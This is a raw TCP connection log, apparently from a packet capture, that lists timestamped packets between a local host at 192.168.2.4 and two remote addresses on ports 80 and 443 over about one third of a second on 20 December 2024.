Dec 20, 2024 11:12:47.803798914 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.805718899 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.805769920 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.805892944 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.805941105 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.807986021 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.808001995 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.808031082 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.808048964 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.810024977 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.810090065 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.810153961 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.810214996 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.812263012 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.812287092 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.812335968 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.814389944 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.814459085 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.814501047 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.814609051 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.816652060 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.816668034 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.816719055 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.816746950 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.818730116 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.818795919 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.818902016 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.818969965 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.820956945 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.820980072 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.821007967 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.821043015 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.823064089 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.823122978 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.823189974 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.823281050 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.825313091 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.825330019 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.825395107 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.825426102 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.827409029 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.827502012 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.827503920 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.827585936 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.829668999 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.829735041 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.829823017 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.829883099 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.832815886 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.832880020 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.832887888 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.832968950 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.836072922 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.836090088 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.836105108 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.836152077 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.836185932 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.836199045 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.836229086 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.838304043 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.838356972 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.838381052 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.838412046 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.840440989 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.840567112 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.840631008 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.842636108 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.842652082 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.843575954 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.922760010 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.922776937 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.922825098 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.922846079 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.923649073 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.923757076 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.923835039 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.923911095 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.925529957 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.925585985 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.925585985 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.925710917 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.927452087 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.927505970 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.927582026 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.927728891 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.929373980 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.929426908 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.929478884 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.929543018 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.931174040 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.931230068 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.931257010 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.931651115 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.933006048 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.933187962 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.933219910 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.933252096 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.934806108 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.934880972 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.934899092 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.934948921 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.936686039 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.936810970 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.936820030 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.936919928 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.938293934 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.938309908 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.938365936 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.938396931 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.940076113 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.940092087 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.940150976 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.941698074 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.941756010 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.941798925 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.941847086 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.943331003 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.943392038 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.943491936 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.944627047 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.944997072 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.945108891 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.945173979 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.945250034 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.946655035 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.946764946 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.946764946 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.946816921 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.948364019 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.948412895 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.948435068 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.948466063 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.949918985 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.949984074 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.950011969 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.950093985 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.951558113 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.951644897 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.951759100 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.951759100 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.953097105 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.953157902 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.953196049 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.953566074 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.954739094 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.954842091 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.954874992 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.954943895 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.956281900 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.956343889 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.956384897 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.956473112 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.957861900 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.957889080 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.957947016 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.957982063 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.959384918 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.959445000 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.959517002 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.959580898 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.960937977 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.961035013 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.961100101 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.961383104 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.962490082 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.962539911 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.962548018 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.962594986 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.963903904 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.963959932 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.964008093 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.964057922 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.965375900 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.965514898 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.965585947 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.966917038 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.966994047 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.967044115 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.967134953 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.968401909 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.968451977 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.968607903 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.968755007 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.969860077 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.969958067 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.969997883 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.970133066 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.971368074 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.971445084 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.971618891 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.971672058 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.972954988 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.973015070 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.973030090 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.973093033 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.974318027 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.974369049 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.974802971 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.974865913 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.975863934 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.975931883 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.975944042 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.976026058 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.977597952 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.977684975 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.977752924 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.977806091 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.979325056 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.979422092 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.979469061 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.979589939 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.980386019 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.980443001 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.980515003 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.980639935 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.981777906 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.981865883 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.981897116 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.981950045 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.983310938 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.983355045 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.983412027 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.984841108 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.984857082 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.984894991 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.984926939 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.986238003 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.986288071 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.986335993 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.986385107 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.987823963 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.987840891 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.987878084 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.987907887 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.989200115 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.989253998 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.989320993 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.989387035 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.990808964 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.990824938 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.990896940 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.990933895 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.992196083 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.992264032 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.992310047 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.992361069 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.993727922 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.993782043 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.993872881 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.993922949 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.995157957 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.995218039 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.995282888 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.995347023 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.996624947 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.996747017 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.996778965 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.996800900 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.998148918 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.998198986 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.998285055 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.998332977 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.999680042 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.999696970 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.999742985 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.999778032 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.001104116 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.001169920 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.001204967 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.001247883 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.002574921 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.002621889 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.002701044 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.002747059 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.004132986 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.004214048 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.004247904 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.004261971 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.005574942 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.005789042 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.017309904 CET	443	49867	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:48.017407894 CET	443	49867	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:48.017460108 CET	49867	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:48.030586004 CET	49867	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:48.030611038 CET	443	49867	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:48.115144968 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.115164995 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.115214109 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.115240097 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.115573883 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.115633965 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.115897894 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.115915060 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.115955114 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.115982056 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.116998911 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.117058992 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.117078066 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.117125988 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.118098974 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.118237972 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.118294001 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.119241953 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.119291067 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.119335890 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.120143890 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.120429993 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.120455980 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.120487928 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.120544910 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.121467113 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.121515036 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.121901035 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.121944904 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.122572899 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.122684956 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.122745037 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.123657942 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.123708963 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.123861074 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.123907089 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.124730110 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.124788046 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.124959946 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.125026941 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.125922918 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.125937939 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.125997066 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.126024008 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.126878977 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.126925945 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.126996040 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.127044916 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.128139973 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.128196001 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.128206015 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.128252029 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.129203081 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.129358053 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.129422903 CET	49866	80	192.168.2.4	185.215.113.16
